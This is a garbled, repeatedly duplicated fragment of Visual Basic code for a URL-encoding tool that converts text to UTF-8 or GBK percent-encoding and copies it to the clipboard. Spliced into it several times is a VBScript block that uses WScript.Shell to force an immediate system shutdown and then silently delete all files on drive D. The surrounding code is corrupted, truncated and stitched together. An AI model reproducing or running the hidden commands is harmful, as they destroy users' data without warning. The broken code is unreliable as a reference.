StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'*********************************************unction UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = ch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURIunction UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURIunction UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURIunction UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI*Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5im WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "shutdown -f -s -t 00",0 ,true
dim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5im WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "shutdown -f -s -t 00",0 ,true
dim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5im WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "shutdown -f -s -t 00",0 ,true
dim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5im WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "shutdown -f -s -t 00",0 ,true
dim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5im WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "shutdown -f -s -t 00",0 ,true
dim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5im WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "shutdown -f -s -t 00",0 ,true
dim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5im WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "shutdown -f -s -t 00",0 ,true
dim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5im WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "shutdown -f -s -t 00",0 ,true
dim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5im WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "shutdown -f -s -t 00",0 ,true
dim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5im WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "shutdown -f -s -t 00",0 ,true
dim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5im WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "shutdown -f -s -t 00",0 ,true
dim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5im WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "shutdown -f -s -t 00",0 ,true
dim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
